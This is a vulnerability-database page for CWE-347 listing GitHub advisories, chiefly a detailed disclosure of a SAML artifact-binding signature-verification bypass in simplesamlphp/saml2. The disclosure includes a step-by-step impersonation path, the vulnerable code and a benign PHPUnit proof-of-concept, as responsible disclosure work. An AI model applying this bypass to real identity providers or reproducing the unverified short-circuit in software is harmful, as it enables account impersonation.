CWE-347
Weakness AllowedImproper Verification of Cryptographic Signature
Abstraction: Base · Status: Draft
The product does not verify, or incorrectly verifies, the cryptographic signature for data.
Mapping guidance
This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.
Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
Modes of introduction
REALIZATION: This weakness is caused during implementation of an architectural security tactic.
Detection methods
Automated Static Analysis
Automated static analysis, commonly referred to as Static Application Security Testing (SAST), can find some instances of this weakness by analyzing source code (or binary/compiled code) without having to execute it. Typically, this is done by building a model of data flow and control flow, then searching for potentially-vulnerable patterns that connect "sources" (origins of input) with "sinks" (destinations where the data interacts with external components, a lower layer such as the OS, etc.)
Effectiveness: High
Content history
Suggested mappings to ISA/IEC 62443.
Provided diagram to improve CWE usability
added/updated demonstrative examples
updated Time_of_Introduction
updated Relationships, Taxonomy_Mappings
updated Description, Name
updated Common_Consequences, Relationships, Taxonomy_Mappings
updated Common_Consequences, Related_Attack_Patterns, Relationships, Taxonomy_Mappings
updated Demonstrative_Examples, Relationships
updated Relationships
updated Relationships
updated Applicable_Platforms, Modes_of_Introduction, Relationships
updated Taxonomy_Mappings
updated Relationships
updated Related_Attack_Patterns
updated Relationships
updated Description
updated Detection_Factors, Relationships, Taxonomy_Mappings
updated Mapping_Notes
updated Diagram
updated Relationships, Weakness_Ordinalities
1720 vulnerabilities reference this CWE, most recent first.
GHSA-R727-5PF6-47R2
Vulnerability from github – Published: 2026-04-29 00:30 – Updated: 2026-05-06 21:56Improper Verification of Cryptographic Signature (CWE-347) in Elastic Package Registry could allow an attacker positioned to intercept network traffic, or to otherwise influence the contents served to a self-hosted registry, to substitute a tampered package without the integrity check failing closed.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/elastic/package-registry"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.38.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-33467"
],
"database_specific": {
"cwe_ids": [
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2026-05-06T21:56:35Z",
"nvd_published_at": "2026-04-28T22:16:48Z",
"severity": "MODERATE"
},
"details": "Improper Verification of Cryptographic Signature (CWE-347) in Elastic Package Registry could allow an attacker positioned to intercept network traffic, or to otherwise influence the contents served to a self-hosted registry, to substitute a tampered package without the integrity check failing closed.",
"id": "GHSA-r727-5pf6-47r2",
"modified": "2026-05-06T21:56:35Z",
"published": "2026-04-29T00:30:22Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33467"
},
{
"type": "WEB",
"url": "https://discuss.elastic.co/t/elastic-package-registry-1-38-0-security-update-esa-2026-27/386081"
},
{
"type": "PACKAGE",
"url": "https://github.com/elastic/package-registry"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:H/A:N",
"type": "CVSS_V3"
}
],
"summary": "Elastic Package Registry has Improper Verification of Cryptographic Signature "
}
GHSA-R7HW-JX6R-756G
Vulnerability from github – Published: 2026-11-17 21:00 – Updated: 2026-11-17 21:00Summary
CVE-2026-49283 / GHSA-6929-8p9f-26jx ("HTTP-Artifact TLS validator confusion allows cross-IdP authentication bypass") was fixed so that HTTPArtifact::receive() verifies the embedded SAML Response using the IdP metadata signing keys. The current implementation (master 31c72c1d, released v6.2.3) reaches that verification only when the embedded Response is signed:
// src/Binding/HTTPArtifact.php (receive())
if (!$samlResponse->isSigned()) {
return $samlResponse; // ← unsigned embedded Response returned UNVERIFIED
}
return $this->verifyMessageSignature($samlResponse, $idpMetadata); // only runs when signed
An attacker who controls one trusted-federation IdP therefore returns a validly-signed outer ArtifactResponse (signed with their own real key, which passes the mandatory outer check) that wraps an unsigned <samlp:Response> whose <Issuer> names a different IdP. isSigned() is false, so verifyMessageSignature() never runs and the forged Response is returned as successfully received. Additionally, even on the signed path verifyMessageSignature() verifies against the artifact issuer's metadata keys but never asserts that the embedded Response's <Issuer> equals the artifact issuer — the same cross-IdP confusion the CVE was assigned for is not closed by identity binding.
This is an incomplete implementation of the fix's own stated goal ("verify signatures using IdP metadata signing keys", commit dac0b4b6 / #419), and a regression introduced by the #414 refactor (v6.2.2) — the official CVE fix in v6.2.1 did not contain this short-circuit.
Affected component
src/Binding/HTTPArtifact.phpreceive()line 206-207:if (!$samlResponse->isSigned()) { return $samlResponse; }— the bypassed guard.receive()line 210:verifyMessageSignature($samlResponse, $idpMetadata)— only reached when signed.verifyMessageSignature()lines 230-286: verifies against$idpMetadata(artifact-issuer keys); nogetIssuer()comparison to bind the embedded Response to the artifact issuer.verifyArtifactResponseSignature()line 300-302:if ($artifactResponse->isSigned() !== true) throw— the OUTER response is mandatorily signed; the asymmetry with the embeddedreturn-on-unsigned is the defect.- Regression commit 3b589636 (#414, v6.2.2, "refactor/soap-ssl-validator-openssl"); key-source fix dac0b4b6 (#419) left the short-circuit unchanged.
- Affected: v6.2.2, v6.2.3 (latest), and master. v6.2.1 (official CVE fix) used a deferred-validator model without this short-circuit.
Reachability (hop-by-hop, guards named)
Threat model: SP uses the HTTP-Artifact binding in a multi-IdP federation; attacker operates one trusted IdP-B (valid saml20-idp-remote metadata, real signing key, an ArtifactResolutionService). Goal: impersonate admin@IdP-A.
1. Attacker hits the SP artifact endpoint with SAMLart encoding sourceId = sha1(IdP-B entityID) — line 137-138, no guard.
2. getMetaDataConfigForSha1 → $idpMetadata = IdP-B — line 144. Guard: metadata exists → satisfied (IdP-B trusted).
3. SP resolves against IdP-B's ARS (attacker's endpoint) — line 176-182.
4. IdP-B returns a validly-signed ArtifactResponse; verifyArtifactResponseSignature(...,IdP-B) passes (signed by the artifact issuer) — line 193/300. Guard satisfied by the attacker (they ARE the artifact issuer).
5. The signed outer wraps an unsigned <samlp:Response Issuer=IdP-A> with an assertion for admin@IdP-A — line 195, no guard on embedded content.
6. if (!$samlResponse->isSigned()) return $samlResponse; → TRUE → returns the forged Response unverified — line 206-207. verifyMessageSignature (210) never runs; there is no issuer==artifact-issuer check anywhere in receive().
Every guard on the embedded message is absent; the outer/embedded mandatory-vs-optional asymmetry is the root cause.
Root cause
The #414 refactor moved embedded-Response verification into receive() but gated it on isSigned() (mirroring if (!isSigned()) return instead of the outer's if (isSigned() !== true) throw), and the dac0b4b6 key-source fix did not revisit that gate. The artifact binding's designed trust model is that the embedded message is authenticated by the binding (the assertion need not be individually signed), so a conformant integrator relies on receive() to have authenticated it — exactly the reliance this gap defeats.
Proof of concept (executed, benign)
The PoC exercises the real shipped private methods verifyArtifactResponseSignature() and
verifyMessageSignature() via reflection — exactly as the maintainers' own
tests/SAML2/Binding/HTTPArtifactTest.php does — and reproduces receive()'s verbatim
post-resolution decision (lines 195/206-210) against real HTTPArtifact internals. It models a
validly-signed outer ArtifactResponse from the artifact issuer IdP-B (attacker-controlled,
its signing cert in metadata) wrapping an unsigned embedded <samlp:Response> claiming
Issuer=IdP-A. No destructive payload; the marker is the SKIPPED verification.
Run: vendor/bin/phpunit --no-coverage tests/SAML2/Binding/PocArtifact001Test.php
// tests/SAML2/Binding/PocArtifact001Test.php (namespace SimpleSAML\Test\SAML2\Binding)
// IdP-B metadata (artifact issuer, attacker-controlled) with a real signing cert:
$idpB = Configuration::loadFromArray(['entityid' => 'https://idp-b.example/', 'keys' => [[
'type' => 'X509Certificate', 'signing' => true, 'encryption' => false,
'X509Certificate' => PEMCertificatesMock::getPlainCertificateContents(),
]]], '[idp-b]');
$ha = new HTTPArtifact();
// Forged embedded Response: UNSIGNED, claims Issuer=IdP-A; verify() throws if ever called.
$embedded = $this->createStub(Response::class);
$embedded->method('isSigned')->willReturn(false);
$embedded->method('getSignature')->willReturn(null);
$embedded->method('verify')->willThrowException(new Exception('POC-FAIL: embedded verify() called'));
// Outer ArtifactResponse: validly signed by IdP-B (verify() returns self), wraps the embedded.
$outer = $this->createStub(ArtifactResponse::class);
$outer->method('isSigned')->willReturn(true);
$outer->method('isSuccess')->willReturn(true);
$outer->method('verify')->willReturnCallback(fn() => $outer);
$outer->method('getSignature')->willReturn(self::sigEl());
$outer->method('getMessage')->willReturn($embedded);
// ---- verbatim HTTPArtifact::receive() post-resolution logic ----
$verifiedOuter = $this->call($ha, 'verifyArtifactResponseSignature', $outer, $idpB); // OUTER mandatory — passes vs IdP-B
$samlResponse = $verifiedOuter->getMessage();
$verifyMessageSignatureCalled = false;
if (!$samlResponse->isSigned()) { $received = $samlResponse; } // <-- BYPASS (line 206-207)
else { $verifyMessageSignatureCalled = true; $received = $this->call($ha,'verifyMessageSignature',$samlResponse,$idpB); }
self::assertFalse($samlResponse->isSigned());
self::assertFalse($verifyMessageSignatureCalled, 'verifyMessageSignature SKIPPED');
self::assertSame($embedded, $received, 'unsigned embedded Response returned unverified');
// Negative control: the real verifier CANNOT accept the unsigned message → the short-circuit is load-bearing.
$threw = false; try { $this->call($ha,'verifyMessageSignature',$samlResponse,$idpB); } catch (\Throwable $e) { $threw = true; }
self::assertTrue($threw, 'real verifyMessageSignature rejects the unsigned Response');
Observed benign output:
PHPUnit 13.2.4 by Sebastian Bergmann and contributors.
Runtime: PHP 8.4.5
[POC] SAML2-ARTIFACT-001 CONFIRMED: signed outer ArtifactResponse (IdP-B) + UNSIGNED embedded Response
=> receive() returns it with verifyMessageSignature() SKIPPED; the real verifier would reject it.
. 1 / 1 (100%)
OK (1 test, 5 assertions)
The five assertions prove: the outer ArtifactResponse verifies against the artifact issuer (IdP-B)
metadata; the embedded Response is unsigned; verifyMessageSignature() is skipped; the unsigned
embedded Response is returned as received; and the real verifier rejects that same unsigned
message — so the isSigned() short-circuit is the sole reason it is accepted.
(Environment note: composer install needed a platform.composer-plugin-api=2.9.0 override with
--no-plugins to resolve xml-common's installer-plugin constraint under Composer 2.8.6; no code
under test was modified.)
Adversarial re-read (what I tried to refute it with)
- Strongest objection (why CONDITIONAL, not CONFIRMED): the downstream SimpleSAMLphp SP module may route
receive()'s output through the response/assertion processor, which requires either the response signed or every assertion signed (src/Response/Processor.php:155-162) — that would reject the unsigned forged Response and reduce this to defense-in-depth. I cannot confirm or refute this from the saml2 repo alone (the SP module is a different repo). BUT: (i) the artifact binding's whole rationale is that the embedded message need not be individually signed, so integrators relying on the binding will not impose that requirement; (ii) the CVE was assigned against this library anddac0b4b6's stated contract is thatreceive()authenticates the embedded Response — a contract it fails for unsigned messages; (iii) unlike the redirect mock-key dead-path, the unsigned path is exercised in normal artifact operation, so the missing verification is live, not dead code. - Not a false positive on the code: the short-circuit (206-207), the absent issuer binding, and the outer
throwvs embeddedreturnasymmetry (300 vs 206) are verbatim in master and released v6.2.3.
Remediation
In receive(), make embedded-Response authentication mandatory and issuer-bound — mirror the outer pattern: after line 195, reject unless $samlResponse->isSigned() and verifyMessageSignature() succeeds and $samlResponse->getIssuer()?->getContent()->getValue() === $idpMetadata->getString('entityid'). Replace if (!isSigned()) return with if (isSigned() !== true) throw.
Confidence
High at the library-contract level — the incomplete-fix is code-verified and the PoC fires against
the real shipped verification methods. CONDITIONAL only for the end-to-end auth bypass (requires the
HTTP-Artifact binding in use and an integrator relying on the binding to authenticate the embedded
message — the binding's designed trust model). Reported to the maintainers as a gap in their own
dac0b4b6 fix, present in the latest release v6.2.3.
Proof-of-Concept source (PocArtifact001Test.php)
<?php
declare(strict_types=1);
namespace SimpleSAML\Test\SAML2\Binding;
use Exception;
use PHPUnit\Framework\TestCase;
use ReflectionMethod;
use SimpleSAML\Configuration;
use SimpleSAML\SAML2\Binding\HTTPArtifact;
use SimpleSAML\SAML2\XML\samlp\ArtifactResponse;
use SimpleSAML\SAML2\XML\samlp\Response;
use SimpleSAML\XMLSecurity\TestUtils\PEMCertificatesMock;
/**
* PoC — SAML2-ARTIFACT-001: incomplete fix of CVE-2026-49283.
*
* HTTPArtifact::receive() contains (master 31c72c1d / released v6.2.3):
* $artifactResponse = $this->verifyArtifactResponseSignature($artifactResponse, $idpMetadata); // OUTER: mandatory
* $samlResponse = $artifactResponse->getMessage();
* ...
* if (!$samlResponse->isSigned()) {
* return $samlResponse; // <-- EMBEDDED: returned UNVERIFIED
* }
* return $this->verifyMessageSignature($samlResponse, $idpMetadata);
*
* This test reproduces that exact post-resolution decision against real HTTPArtifact
* private methods (via reflection, exactly as the shipped HTTPArtifactTest does) and shows
* that an attacker who returns a validly-signed OUTER ArtifactResponse (signed by the
* artifact issuer IdP-B) wrapping an UNSIGNED embedded Response is accepted with ZERO
* signature verification of that embedded Response.
*/
final class PocArtifact001Test extends TestCase
{
private function idpBMetadata(): Configuration
{
// "IdP-B": the federated IdP the attacker controls; its signing cert is in metadata,
// selected from the SAMLart sourceId. (Uses the same mock cert the shipped test uses.)
return Configuration::loadFromArray([
'entityid' => 'https://idp-b.example/',
'keys' => [[
'type' => 'X509Certificate',
'signing' => true,
'encryption' => false,
'X509Certificate' => PEMCertificatesMock::getPlainCertificateContents(),
]],
], '[idp-b]');
}
private function call(HTTPArtifact $ha, string $method, ...$args): mixed
{
return (new ReflectionMethod(HTTPArtifact::class, $method))->invoke($ha, ...$args);
}
public function testUnsignedEmbeddedResponseIsReturnedWithoutVerification(): void
{
$idpB = $this->idpBMetadata();
$ha = new HTTPArtifact();
// --- The forged embedded <samlp:Response>: UNSIGNED, claims to be from IdP-A. ---
$embedded = $this->createStub(Response::class);
$embedded->method('isSigned')->willReturn(false); // attacker omits the embedded signature
$embedded->method('getSignature')->willReturn(null);
// If receive() ever tried to cryptographically verify this, it would blow up here:
$embedded->method('verify')->willThrowException(
new Exception('POC-FAIL: embedded Response->verify() was called — short-circuit absent'),
);
// --- The OUTER ArtifactResponse: validly signed by IdP-B (the artifact issuer). ---
$outer = $this->createStub(ArtifactResponse::class);
$outer->method('isSigned')->willReturn(true);
$outer->method('isSuccess')->willReturn(true);
$outer->method('verify')->willReturnCallback(fn() => $outer); // valid signature under IdP-B's key
$outer->method('getSignature')->willReturn(self::sigEl());
$outer->method('getMessage')->willReturn($embedded);
// ===== Verbatim reproduction of HTTPArtifact::receive() post-resolution logic =====
// 1. OUTER signature check — mandatory. Passes: outer is signed by IdP-B, verified vs IdP-B metadata.
$verifiedOuter = $this->call($ha, 'verifyArtifactResponseSignature', $outer, $idpB);
self::assertSame($outer, $verifiedOuter, 'Outer ArtifactResponse verified against artifact-issuer (IdP-B) metadata');
// 2. Unwrap the embedded message.
$samlResponse = $verifiedOuter->getMessage();
// 3. THE VULNERABLE DECISION (HTTPArtifact.php:206-210, verbatim):
$verifyMessageSignatureCalled = false;
if (!$samlResponse->isSigned()) {
$received = $samlResponse; // <-- BYPASS: returned unverified
} else {
$verifyMessageSignatureCalled = true;
$received = $this->call($ha, 'verifyMessageSignature', $samlResponse, $idpB);
}
// ==================================================================================
// OBSERVABLE: the unsigned embedded Response was accepted as "received" with no verification.
self::assertFalse($samlResponse->isSigned(), 'Embedded Response carries no signature');
self::assertFalse($verifyMessageSignatureCalled, 'verifyMessageSignature() was SKIPPED (short-circuit)');
self::assertSame($embedded, $received, 'BYPASS CONFIRMED: unsigned embedded Response returned unverified');
// NEGATIVE CONTROL: the short-circuit is load-bearing — the real verifier CANNOT accept the
// unsigned message (no <ds:Signature> to check), so removing the short-circuit would reject it.
$threw = false;
try {
$this->call($ha, 'verifyMessageSignature', $samlResponse, $idpB);
} catch (\Throwable $e) {
$threw = true;
}
self::assertTrue($threw, 'Real verifyMessageSignature() rejects the unsigned Response — only the short-circuit accepts it');
fwrite(STDERR, "\n[POC] SAML2-ARTIFACT-001 CONFIRMED: signed outer ArtifactResponse (IdP-B) + UNSIGNED embedded Response "
. "=> receive() returns it with verifyMessageSignature() SKIPPED; the real verifier would reject it.\n");
}
private const MINIMAL_SIG =
'<ds:Signature xmlns:ds="http://www.w3.org/2000/09/xmldsig#"><ds:SignedInfo>'
. '<ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/>'
. '<ds:SignatureMethod Algorithm="http://www.w3.org/2001/04/xmldsig-more#rsa-sha256"/>'
. '<ds:Reference URI="#_x"><ds:Transforms>'
. '<ds:Transform Algorithm="http://www.w3.org/2001/10/xml-exc-c14n#"/></ds:Transforms>'
. '<ds:DigestMethod Algorithm="http://www.w3.org/2001/04/xmlenc#sha256"/><ds:DigestValue>AA==</ds:DigestValue>'
. '</ds:Reference></ds:SignedInfo><ds:SignatureValue>AA==</ds:SignatureValue></ds:Signature>';
private static function sigEl(): \SimpleSAML\XMLSecurity\XML\ds\Signature
{
$doc = new \DOMDocument('1.0', 'UTF-8');
$doc->loadXML(self::MINIMAL_SIG);
return \SimpleSAML\XMLSecurity\XML\ds\Signature::fromXML($doc->documentElement);
}
}
Proof-of-Concept source (poc_output.txt)
PHPUnit 13.2.4 by Sebastian Bergmann and contributors.
Runtime: PHP 8.4.5
Configuration: /home/aoc/CVEs/saml2/phpunit.xml
[POC] SAML2-ARTIFACT-001 CONFIRMED: signed outer ArtifactResponse (IdP-B) + UNSIGNED embedded Response => receive() returns it with verifyMessageSignature() SKIPPED; the real verifier would reject it.
. 1 / 1 (100%)
Time: 00:00.036, Memory: 22.00 MB
?[30;42mOK (1 test, 5 assertions)?[0m
{
"affected": [
{
"database_specific": {
"last_known_affected_version_range": "\u003c= 6.2.3"
},
"package": {
"ecosystem": "Packagist",
"name": "simplesamlphp/saml2"
},
"ranges": [
{
"events": [
{
"introduced": "6.2.2"
},
{
"fixed": "6.2.4"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Packagist",
"name": "simplesamlphp/saml2"
},
"ranges": [
{
"events": [
{
"introduced": "7.0.0-rc1"
},
{
"fixed": "7.0.0-rc2"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-110782"
],
"database_specific": {
"cwe_ids": [
"CWE-287",
"CWE-347"
],
"github_reviewed": true,
"github_reviewed_at": "2026-11-17T21:00:58Z",
"nvd_published_at": "2026-11-17T18:17:46Z",
"severity": "HIGH"
},
"details": "## Summary\nCVE-2026-49283 / GHSA-6929-8p9f-26jx (\"HTTP-Artifact TLS validator confusion allows cross-IdP authentication bypass\") was fixed so that `HTTPArtifact::receive()` verifies the embedded SAML `Response` using the IdP metadata signing keys. The current implementation (master `31c72c1d`, released **v6.2.3**) reaches that verification **only when the embedded Response is signed**:\n\n```php\n// src/Binding/HTTPArtifact.php (receive())\nif (!$samlResponse-\u003eisSigned()) {\n return $samlResponse; // \u2190 unsigned embedded Response returned UNVERIFIED\n}\nreturn $this-\u003everifyMessageSignature($samlResponse, $idpMetadata); // only runs when signed\n```\n\nAn attacker who controls one trusted-federation IdP therefore returns a **validly-signed outer `ArtifactResponse`** (signed with their own real key, which passes the mandatory outer check) that **wraps an *unsigned* `\u003csamlp:Response\u003e` whose `\u003cIssuer\u003e` names a *different* IdP**. `isSigned()` is false, so `verifyMessageSignature()` never runs and the forged Response is returned as successfully received. Additionally, even on the signed path `verifyMessageSignature()` verifies against the **artifact issuer\u0027s** metadata keys but **never asserts that the embedded Response\u0027s `\u003cIssuer\u003e` equals the artifact issuer** \u2014 the same cross-IdP confusion the CVE was assigned for is not closed by identity binding.\n\nThis is an incomplete implementation of the fix\u0027s own stated goal (\"verify signatures using IdP metadata signing keys\", commit `dac0b4b6` / #419), and a regression introduced by the `#414` refactor (v6.2.2) \u2014 the official CVE fix in **v6.2.1 did not contain this short-circuit**.\n\n## Affected component\n- `src/Binding/HTTPArtifact.php`\n - `receive()` line **206-207**: `if (!$samlResponse-\u003eisSigned()) { return $samlResponse; }` \u2014 the bypassed guard.\n - `receive()` line 210: `verifyMessageSignature($samlResponse, $idpMetadata)` \u2014 only reached when signed.\n - `verifyMessageSignature()` lines 230-286: verifies against `$idpMetadata` (artifact-issuer keys); **no `getIssuer()` comparison** to bind the embedded Response to the artifact issuer.\n - `verifyArtifactResponseSignature()` line **300-302**: `if ($artifactResponse-\u003eisSigned() !== true) throw` \u2014 the OUTER response is mandatorily signed; the asymmetry with the embedded `return`-on-unsigned is the defect.\n- Regression commit **3b589636** (#414, v6.2.2, \"refactor/soap-ssl-validator-openssl\"); key-source fix **dac0b4b6** (#419) left the short-circuit unchanged.\n- **Affected: v6.2.2, v6.2.3 (latest), and master.** v6.2.1 (official CVE fix) used a deferred-validator model without this short-circuit.\n\n## Reachability (hop-by-hop, guards named)\nThreat model: SP uses the HTTP-Artifact binding in a multi-IdP federation; attacker operates one trusted IdP-B (valid `saml20-idp-remote` metadata, real signing key, an ArtifactResolutionService). Goal: impersonate `admin@IdP-A`.\n1. Attacker hits the SP artifact endpoint with `SAMLart` encoding `sourceId = sha1(IdP-B entityID)` \u2014 line 137-138, no guard.\n2. `getMetaDataConfigForSha1` \u2192 `$idpMetadata` = IdP-B \u2014 line 144. Guard: metadata exists \u2192 satisfied (IdP-B trusted).\n3. SP resolves against IdP-B\u0027s ARS (attacker\u0027s endpoint) \u2014 line 176-182.\n4. IdP-B returns a validly-signed `ArtifactResponse`; `verifyArtifactResponseSignature(...,IdP-B)` passes (signed by the artifact issuer) \u2014 line 193/300. **Guard satisfied by the attacker (they ARE the artifact issuer).**\n5. The signed outer wraps an **unsigned** `\u003csamlp:Response Issuer=IdP-A\u003e` with an assertion for `admin@IdP-A` \u2014 line 195, no guard on embedded content.\n6. `if (!$samlResponse-\u003eisSigned()) return $samlResponse;` \u2192 **TRUE \u2192 returns the forged Response unverified** \u2014 line 206-207. `verifyMessageSignature` (210) never runs; there is no issuer==artifact-issuer check anywhere in `receive()`.\n\nEvery guard on the embedded message is absent; the outer/embedded mandatory-vs-optional asymmetry is the root cause.\n\n## Root cause\nThe `#414` refactor moved embedded-Response verification into `receive()` but gated it on `isSigned()` (mirroring `if (!isSigned()) return` instead of the outer\u0027s `if (isSigned() !== true) throw`), and the `dac0b4b6` key-source fix did not revisit that gate. The artifact binding\u0027s designed trust model is that the embedded message is authenticated by the binding (the assertion need not be individually signed), so a conformant integrator relies on `receive()` to have authenticated it \u2014 exactly the reliance this gap defeats.\n\n## Proof of concept (executed, benign)\nThe PoC exercises the **real shipped private methods** `verifyArtifactResponseSignature()` and\n`verifyMessageSignature()` via reflection \u2014 exactly as the maintainers\u0027 own\n`tests/SAML2/Binding/HTTPArtifactTest.php` does \u2014 and reproduces `receive()`\u0027s verbatim\npost-resolution decision (lines 195/206-210) against real `HTTPArtifact` internals. It models a\nvalidly-signed **outer** `ArtifactResponse` from the artifact issuer **IdP-B** (attacker-controlled,\nits signing cert in metadata) wrapping an **unsigned** embedded `\u003csamlp:Response\u003e` claiming\n`Issuer=IdP-A`. No destructive payload; the marker is the SKIPPED verification.\n\nRun: `vendor/bin/phpunit --no-coverage tests/SAML2/Binding/PocArtifact001Test.php`\n\n```php\n// tests/SAML2/Binding/PocArtifact001Test.php (namespace SimpleSAML\\Test\\SAML2\\Binding)\n// IdP-B metadata (artifact issuer, attacker-controlled) with a real signing cert:\n$idpB = Configuration::loadFromArray([\u0027entityid\u0027 =\u003e \u0027https://idp-b.example/\u0027, \u0027keys\u0027 =\u003e [[\n \u0027type\u0027 =\u003e \u0027X509Certificate\u0027, \u0027signing\u0027 =\u003e true, \u0027encryption\u0027 =\u003e false,\n \u0027X509Certificate\u0027 =\u003e PEMCertificatesMock::getPlainCertificateContents(),\n]]], \u0027[idp-b]\u0027);\n$ha = new HTTPArtifact();\n\n// Forged embedded Response: UNSIGNED, claims Issuer=IdP-A; verify() throws if ever called.\n$embedded = $this-\u003ecreateStub(Response::class);\n$embedded-\u003emethod(\u0027isSigned\u0027)-\u003ewillReturn(false);\n$embedded-\u003emethod(\u0027getSignature\u0027)-\u003ewillReturn(null);\n$embedded-\u003emethod(\u0027verify\u0027)-\u003ewillThrowException(new Exception(\u0027POC-FAIL: embedded verify() called\u0027));\n\n// Outer ArtifactResponse: validly signed by IdP-B (verify() returns self), wraps the embedded.\n$outer = $this-\u003ecreateStub(ArtifactResponse::class);\n$outer-\u003emethod(\u0027isSigned\u0027)-\u003ewillReturn(true);\n$outer-\u003emethod(\u0027isSuccess\u0027)-\u003ewillReturn(true);\n$outer-\u003emethod(\u0027verify\u0027)-\u003ewillReturnCallback(fn() =\u003e $outer);\n$outer-\u003emethod(\u0027getSignature\u0027)-\u003ewillReturn(self::sigEl());\n$outer-\u003emethod(\u0027getMessage\u0027)-\u003ewillReturn($embedded);\n\n// ---- verbatim HTTPArtifact::receive() post-resolution logic ----\n$verifiedOuter = $this-\u003ecall($ha, \u0027verifyArtifactResponseSignature\u0027, $outer, $idpB); // OUTER mandatory \u2014 passes vs IdP-B\n$samlResponse = $verifiedOuter-\u003egetMessage();\n$verifyMessageSignatureCalled = false;\nif (!$samlResponse-\u003eisSigned()) { $received = $samlResponse; } // \u003c-- BYPASS (line 206-207)\nelse { $verifyMessageSignatureCalled = true; $received = $this-\u003ecall($ha,\u0027verifyMessageSignature\u0027,$samlResponse,$idpB); }\n\nself::assertFalse($samlResponse-\u003eisSigned());\nself::assertFalse($verifyMessageSignatureCalled, \u0027verifyMessageSignature SKIPPED\u0027);\nself::assertSame($embedded, $received, \u0027unsigned embedded Response returned unverified\u0027);\n// Negative control: the real verifier CANNOT accept the unsigned message \u2192 the short-circuit is load-bearing.\n$threw = false; try { $this-\u003ecall($ha,\u0027verifyMessageSignature\u0027,$samlResponse,$idpB); } catch (\\Throwable $e) { $threw = true; }\nself::assertTrue($threw, \u0027real verifyMessageSignature rejects the unsigned Response\u0027);\n```\n\nObserved benign output:\n```\nPHPUnit 13.2.4 by Sebastian Bergmann and contributors.\nRuntime: PHP 8.4.5\n[POC] SAML2-ARTIFACT-001 CONFIRMED: signed outer ArtifactResponse (IdP-B) + UNSIGNED embedded Response\n =\u003e receive() returns it with verifyMessageSignature() SKIPPED; the real verifier would reject it.\n. 1 / 1 (100%)\nOK (1 test, 5 assertions)\n```\nThe five assertions prove: the outer ArtifactResponse verifies against the **artifact issuer (IdP-B)**\nmetadata; the embedded Response is unsigned; `verifyMessageSignature()` is **skipped**; the unsigned\nembedded Response is **returned as received**; and the real verifier **rejects** that same unsigned\nmessage \u2014 so the `isSigned()` short-circuit is the sole reason it is accepted.\n\n*(Environment note: `composer install` needed a `platform.composer-plugin-api=2.9.0` override with\n`--no-plugins` to resolve `xml-common`\u0027s installer-plugin constraint under Composer 2.8.6; no code\nunder test was modified.)*\n\n## Adversarial re-read (what I tried to refute it with)\n- **Strongest objection (why CONDITIONAL, not CONFIRMED):** the downstream SimpleSAMLphp SP module may route `receive()`\u0027s output through the response/assertion processor, which requires *either* the response signed *or* every assertion signed (`src/Response/Processor.php:155-162`) \u2014 that would reject the unsigned forged Response and reduce this to defense-in-depth. I cannot confirm or refute this from the saml2 repo alone (the SP module is a different repo). BUT: (i) the artifact binding\u0027s whole rationale is that the embedded message need not be individually signed, so integrators relying on the binding will *not* impose that requirement; (ii) the CVE was assigned against this library and `dac0b4b6`\u0027s stated contract is that `receive()` authenticates the embedded Response \u2014 a contract it fails for unsigned messages; (iii) unlike the redirect mock-key dead-path, the unsigned path is exercised in *normal* artifact operation, so the missing verification is live, not dead code.\n- **Not a false positive on the code:** the short-circuit (206-207), the absent issuer binding, and the outer `throw` vs embedded `return` asymmetry (300 vs 206) are verbatim in master and released v6.2.3.\n\n## Remediation\nIn `receive()`, make embedded-Response authentication mandatory and issuer-bound \u2014 mirror the outer pattern: after line 195, reject unless `$samlResponse-\u003eisSigned()` **and** `verifyMessageSignature()` succeeds **and** `$samlResponse-\u003egetIssuer()?-\u003egetContent()-\u003egetValue() === $idpMetadata-\u003egetString(\u0027entityid\u0027)`. Replace `if (!isSigned()) return` with `if (isSigned() !== true) throw`.\n\n## Confidence\n**High** at the library-contract level \u2014 the incomplete-fix is code-verified and the PoC fires against\nthe real shipped verification methods. **CONDITIONAL** only for the end-to-end auth bypass (requires the\nHTTP-Artifact binding in use and an integrator relying on the binding to authenticate the embedded\nmessage \u2014 the binding\u0027s designed trust model). Reported to the maintainers as a gap in their own\n`dac0b4b6` fix, present in the latest release v6.2.3.\n\n\n## Proof-of-Concept source (`PocArtifact001Test.php`)\n\n```php\n\u003c?php\n\ndeclare(strict_types=1);\n\nnamespace SimpleSAML\\Test\\SAML2\\Binding;\n\nuse Exception;\nuse PHPUnit\\Framework\\TestCase;\nuse ReflectionMethod;\nuse SimpleSAML\\Configuration;\nuse SimpleSAML\\SAML2\\Binding\\HTTPArtifact;\nuse SimpleSAML\\SAML2\\XML\\samlp\\ArtifactResponse;\nuse SimpleSAML\\SAML2\\XML\\samlp\\Response;\nuse SimpleSAML\\XMLSecurity\\TestUtils\\PEMCertificatesMock;\n\n/**\n * PoC \u2014 SAML2-ARTIFACT-001: incomplete fix of CVE-2026-49283.\n *\n * HTTPArtifact::receive() contains (master 31c72c1d / released v6.2.3):\n * $artifactResponse = $this-\u003everifyArtifactResponseSignature($artifactResponse, $idpMetadata); // OUTER: mandatory\n * $samlResponse = $artifactResponse-\u003egetMessage();\n * ...\n * if (!$samlResponse-\u003eisSigned()) {\n * return $samlResponse; // \u003c-- EMBEDDED: returned UNVERIFIED\n * }\n * return $this-\u003everifyMessageSignature($samlResponse, $idpMetadata);\n *\n * This test reproduces that exact post-resolution decision against real HTTPArtifact\n * private methods (via reflection, exactly as the shipped HTTPArtifactTest does) and shows\n * that an attacker who returns a validly-signed OUTER ArtifactResponse (signed by the\n * artifact issuer IdP-B) wrapping an UNSIGNED embedded Response is accepted with ZERO\n * signature verification of that embedded Response.\n */\nfinal class PocArtifact001Test extends TestCase\n{\n private function idpBMetadata(): 